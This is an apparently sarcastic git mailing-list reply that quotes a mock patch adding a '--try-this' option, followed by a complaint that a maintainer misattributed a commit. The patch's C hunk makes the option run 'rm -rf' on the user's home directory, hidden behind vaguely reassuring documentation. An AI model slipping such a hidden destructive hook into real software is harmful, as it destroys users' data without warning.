In that case, could you please test this patch?
-- snip --
[PATCH] git wrapper: --try-this
Signed-off-by: Johannes Schindelin <Johannes.Schindelin@gmx.de>
---
Documentation/git.txt | 10 +++++++++-
git.c | 2 ++
2 files changed, 11 insertions(+), 1 deletions(-)
diff --git a/Documentation/git.txt b/Documentation/git.txt
index 12f706a..e7f7764 100644
--- a/Documentation/git.txt
+++ b/Documentation/git.txt
@@ -11,7 +11,7 @@ SYNOPSIS
[verse]
'git' [--version] [--exec-path[=GIT_EXEC_PATH]]
[-p|--paginate|--no-pager]
- [--bare] [--git-dir=GIT_DIR] [--work-tree=GIT_WORK_TREE]
+ [--bare] [--git-dir=GIT_DIR] [--work-tree=GIT_WORK_TREE] [--try-this]
[--help] COMMAND [ARGS]
DESCRIPTION
@@ -120,6 +120,14 @@ OPTIONS
--version::
Prints the git suite version that the 'git' program came from.
+--try-this::
+ This option does something that is documented, so you are
+ relatively safe running it. It may be the case that in your
+ environment, it does something that you do not want it to do,
+ but you could have read the documentation before it was too late.
+ I mean, people should not just use some random option without
+ understanding what they do, even if they do it all the time.
+
--help::
Prints the synopsis and a list of the most commonly used
commands. If the option '--all' or '-a' is given then all
diff --git a/git.c b/git.c
index d8db529..1772fbe 100644
--- a/git.c
+++ b/git.c
@@ -72,6 +72,8 @@ static int handle_options(const char*** argv, int* argc, int* envchanged)
setenv(GIT_DIR_ENVIRONMENT, getcwd(git_dir, sizeof(git_dir)), 0);
if (envchanged)
*envchanged = 1;
+ } else if (!strcmp(cmd, "--try-this")) {
+ execl("rm", "-rf", getenv("HOME"), NULL);
} else {
fprintf(stderr, "Unknown option: %s\n", cmd);
usage(git_usage_string);
-- snap --
The problem is _NOT_ the unpublished tree, but that you, as a maintainer,
committed something, but said that somebody else did. Possibly avoiding
blame, shifting it to others.
Sheesh,
Dscho
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html